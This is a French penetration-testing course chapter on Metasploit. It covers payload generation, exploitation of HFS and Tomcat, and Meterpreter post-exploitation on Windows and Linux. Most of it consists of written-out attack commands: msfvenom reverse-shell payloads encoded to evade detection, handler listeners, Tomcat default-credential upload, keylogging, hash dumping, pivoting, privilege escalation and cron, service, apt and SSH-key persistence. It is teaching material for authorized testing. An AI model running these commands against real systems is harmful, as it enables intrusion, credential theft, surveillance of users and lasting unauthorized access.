Ce chapitre se concentre sur ce qui n'a pas encore été vu : architecture MSF, génération de payloads, exploits spécifiques (HFS, Tomcat), Meterpreter et post-exploitation avancée (Windows & Linux).
Architecture, console, génération et automatisation de payloads.
HTTP File Server, Tomcat, et prise en main de Meterpreter.
Modules Windows/Linux, pivoting, persistance et interface Armitage.
À la fin du chapitre, l'objectif n'est pas seulement de connaître des commandes MSF, mais de comprendre quand, pourquoi et comment les utiliser dans une chaîne de pentest.
MSF n'est pas une méthodologie complète à lui seul. Il devient particulièrement puissant lorsqu'il est alimenté par les résultats de reconnaissance et d'énumération.
Nmap, DNS, SMB, HTTP...
Version, service, vulnérabilité
Exploit + payload
Session
Utilisateur, privilèges, système
Collecte contrôlée
Réseaux internes
Retirer artefacts
Déclenche ou exploite une condition vulnérable sur la cible.
Exemple : exploit/windows/http/...
Définit ce qui doit se passer après l'exploitation réussie.
Exemple : meterpreter/reverse_tcp
Scan, brute force, découverte ou actions qui ne nécessitent pas forcément une exploitation.
Actions effectuées après obtention d'une session.
Transformation ou remplissage du payload ; à distinguer d'une véritable technique moderne de bypass.
Modules et mécanismes destinés à réduire certaines détections. Ils ne garantissent pas l'évasion d'un EDR.
C'est l'une des distinctions les plus importantes à maîtriser. Un exploit obtient une exécution ; le payload définit ce que l'on exécute ; la session est le canal interactif obtenu.
Vulnérabilité → Exploit → Payload → Communication → Session
Profite d'une faiblesse précise : version vulnérable, mauvaise configuration, auth faible, etc.
Shell, Meterpreter, commande simple ou autre charge adaptée à la cible.
Point d'interaction avec la machine après succès : shell, Meterpreter, etc.
La bonne pratique consiste à lire le module avant de lancer l'exploitation. Les options indiquent souvent les prérequis, la version ciblée et le comportement attendu.
search type:exploit hfs use exploit/windows/http/rejetto_hfs_exec info show options show payloads show targets
Ces variables sont souvent la source des erreurs de configuration. R = Remote et L = Local, du point de vue de l'attaquant.
RHOSTS : adresse(s) distante(s) ciblée(s).RPORT : port du service distant.LHOST : adresse locale que la cible doit pouvoir joindre.LPORT : port d'écoute côté attaquant.Attaquant : LHOST:LPORT ←── connexion reverse ── Cible : RHOST:RPORT
Point réseau : avec un reverse payload, LHOST doit être une adresse réellement joignable depuis la cible, pas simplement l'IP de l'interface VPN si le routage ne le permet pas.
Un petit stager établit d'abord la communication puis récupère le reste du payload.
stager → connexion → stage complet
Avantage : taille initiale réduite. Dépend davantage de la connectivité et du protocole utilisés.
Le payload complet est embarqué dès le départ.
payload complet → connexion
Avantage : moins de dépendance au chargement d'un second stage, mais fichier généralement plus volumineux.
Cible ─────► Attaquant
La cible initie la connexion vers l'attaquant. Souvent pratique lorsque les connexions entrantes vers la cible sont filtrées.
Attaquant ─────► Cible
La cible écoute sur un port et l'attaquant se connecte. Peut être bloqué par le firewall entrant de la cible.
Le choix dépend du chemin réseau, des ACL/firewalls, du NAT et de la capacité de chaque extrémité à initier une connexion.
help search <terme> use <module> info show options show payloads show targets set RHOSTS @IP_cible set RPORT 80 set LHOST @IP_attaquant set LPORT 4444 check run / exploit back sessions -l sessions -i <ID>
Réflexe : search → use → info → show options → check → run. Quand check est disponible, il permet parfois de vérifier la précondition sans lancer immédiatement l'exploitation.
La base de données permet à MSF de conserver les informations découvertes : hôtes, services, vulnérabilités et sessions. Le workspace sépare les données entre missions.
msfdb init workspace -a CLIENT_TEST workspace hosts services vulns creds sessions -l workspace -d CLIENT_TEST
Éviter de mélanger les résultats de plusieurs périmètres et faciliter le suivi d'une mission.
db_nmap exécute Nmap et importe les résultats dans le workspace courant.
Metasploit ne sert pas uniquement à exploiter. Les modules auxiliary permettent aussi de scanner, identifier des services et tester certaines configurations.
search type:auxiliary scanner use auxiliary/scanner/portscan/tcp set RHOSTS @IP_cible set PORTS 1-1000 run
Utiliser l'auxiliary lorsque l'objectif est de détecter ou collecter, pas nécessairement d'obtenir une exécution de code.
Le multi/handler joue le rôle de point d'écoute pour certains payloads générés avec msfvenom. Le payload et le handler doivent utiliser des paramètres compatibles.
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST @IP_attaquant set LPORT 4444 run
Le listener doit être accessible et écouter sur le port attendu.
Vérifier LHOST, LPORT, firewall, routage, NAT, architecture et compatibilité du payload.
sysinfo getuid getpid
pwd ls cd search -f *.conf
background sessions -l sessions -i 1
Après l'obtention d'une session, commencer par identifier le contexte : OS, utilisateur, processus et réseau. Ne pas exécuter immédiatement des actions intrusives.
Accès souvent plus brut : commandes système disponibles selon l'environnement.
shell /bin/bash
Interface structurée avec commandes de collecte, migration, pivoting et gestion de fichiers.
getuid sysinfo ps
Stabilité : une session peut dépendre d'un processus ou d'un canal réseau. Une migration peut changer le contexte, mais doit être réalisée avec prudence et dans le périmètre autorisé.
Une session compromise peut servir de point de passage vers un réseau inaccessible directement depuis l'attaquant.
Attaquant │ │ session Meterpreter ▼ [Machine pivot] │ 10.10.20.0/24 ├──────────► Serveur interne └──────────► autre service
Le principe est : route connue → trafic envoyé via la session → cible interne. C'est la même logique que Proxychains étudiée au chapitre précédent, mais intégrée à MSF.
Who am I ?
getuid / whoamiWhat system ?
sysinfoWhat access ?
privileges / groupsWhat network ?
interfaces / routesWhat is exposed?
services / sharesWhat can be escalated?
local privescWhat can be reached?
pivotingDocument & clean
evidence / cleanupService identifié ?
│
├── Non → auxiliary / scanner / Nmap
│
└── Oui
│
├── Version vulnérable connue ?
│ ├── Oui → search → info → check → exploit
│ └── Non → poursuivre l'énumération
│
└── Session obtenue ?
├── Non → revoir réseau / payload / options
└── Oui → sysinfo → getuid → réseau → post → pivot
Principe : une erreur d'exploitation n'implique pas que la vulnérabilité est absente. Vérifier d'abord la version, la cible, les options, le réseau et le payload.
# Démarrer le service PostgreSQL sudo systemctl start postgresql # Initialiser la base de données MSF sudo msfdb init
# Rechercher un module par CVE, type et plateforme search cve:2021 type:exploit platform:windows # Créer et gérer des espaces de travail workspace -a nom_projet workspace
# Lister les payloads / formats disponibles msfvenom --list payloads msfvenom --list formats # Générer un payload Windows (x86 et x64) msfvenom -a x86 -p windows/meterpreter/reverse_tcp \ LHOST=@IP_attaquant LPORT=1234 -f exe > payload_x86.exe # Générer un payload Linux (ELF) msfvenom -p linux/x86/meterpreter/reverse_tcp \ LHOST=@IP_attaquant LPORT=1234 -f elf > payload_linux # Handler en écoute côté attaquant use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST @IP_attaquant set LPORT 1234 run
# Lister les encodeurs disponibles msfvenom --list encoders # Encoder un payload (shikata_ga_nai, 10 itérations) msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=@IP_attaquant LPORT=1234 \ -i 10 -e x86/shikata_ga_nai -f exe > payload_encode.exe
multi/handler doit être en écoute avant l'envoi du payload à la cible..rc) enregistre une séquence de commandes msfconsole à rejouer automatiquement.# Lancer msfconsole avec un script préécrit msfconsole -r script_auto.rc # Contenu type d'un script (exemple) # use multi/handler # set payload windows/meterpreter/reverse_tcp # set LHOST @IP_attaquant # set LPORT 4444 # run
msfconsole db_nmap -sV @IP_cible search hfs use exploit/windows/http/rejetto_hfs_exec set rhosts @IP_cible run # --> session Meterpreter
.war malveillante et d'exécuter du code.db_nmap -sV -p8080 @IP_cible # Tester les identifiants par défaut/faibles use auxiliary/scanner/http/tomcat_mgr_login set rhosts @IP_cible run # Déployer un payload via l'interface Manager use exploit/multi/http/tomcat_mgr_upload set httpusername admin set httppassword motdepasse set rhosts @IP_cible run
sessions -h # aide sur la gestion de sessions sysinfo # informations sur le système getuid # utilisateur courant download <fichier> # télécharger un fichier getenv <nom> # afficher une variable d'environnement search -f *<nom>* # rechercher un fichier sur tout le système
# Depuis une session shell basique (ex: via un module auxiliaire) use post/multi/manage/shell_to_meterpreter set LHOST @IP_attaquant set session <n°_session> run # --> nouvelle session Meterpreter, plus riche en fonctionnalités
getsystem # tenter une élévation de privilège ps # lister les processus migrate <PID> # migrer vers un autre processus
use post/windows/gather/win_privs use post/windows/gather/enum_logged_on_users use post/windows/gather/checkvm use post/windows/gather/enum_applications use post/windows/gather/enum_av_excluded use post/windows/gather/enum_computers use post/windows/gather/enum_patches use post/windows/gather/enum_shares
# Depuis une session Meterpreter en background use post/windows/manage/enable_rdp set sessions <n°> run # --> le service RDP est démarré sur la cible xfreerdp /u:utilisateur /p:motdepasse /v:@IP_cible
# Nécessite le processus explorer.exe (migrer dessus) migrate <PID_explorer> keyscan_start # ... l'utilisateur tape sur la machine cible ... keyscan_dump keyscan_stop
# Créer une route vers un sous-réseau via la session compromise run autoroute -s @IP_sousreseau sessions -m Cible_1 -i 1 # renommer la session # Scanner directement le 2e réseau depuis msfconsole use auxiliary/scanner/portscan/tcp set rhosts @IP_cible2 run # Alternative : rediriger un port précis vers l'attaquant portfwd add -l 1234 -p 445 -r @IP_cible2 db_nmap -sS -sV -p1234 @IP_cible2
whoami cat /etc/passwd groups <username> cat /etc/*issue # version de la distribution ps aux # processus actifs
use post/linux/gather/enum_configs use post/linux/gather/enum_network use post/linux/gather/enum_protections use post/linux/gather/enum_system use post/linux/gather/checkvm use post/linux/gather/enum_users_history use post/linux/gather/hashdump
ps aux) à la recherche d'un programme s'exécutant avec des privilèges élevés et disposant d'une vulnérabilité connue.ps aux # repérer un programme suspect exécuté en root use exploit/unix/local/chkrootkit set sessions <n°> set chkrootkit /path/chkrootkit run # --> session avec privilèges élevés si vulnérable
use exploit/linux/local/cron_persistence use exploit/linux/local/service_persistence use exploit/linux/local/apt_package_manager_persistence # Persistance par clé SSH use post/linux/manage/sshkey_persistence set sessions <n°> run # --> récupérer la clé privée générée pour une reconnexion directe
msfconsole search <term> use <module> info show options show payloads set RHOSTS @IP set RPORT <port> set LHOST @IP set LPORT <port> check run sessions -l sessions -i <id> background back workspace hosts services vulns db_nmap -sV @IP
Workflow à mémoriser : Recon → Search → Info → Options → Check → Exploit → Session → Enumerate → Post-exploit → Pivot → Cleanup.
sysinfo, getuid, migration vers un processus stable.gather systématisent la collecte d'informations, Windows comme Linux.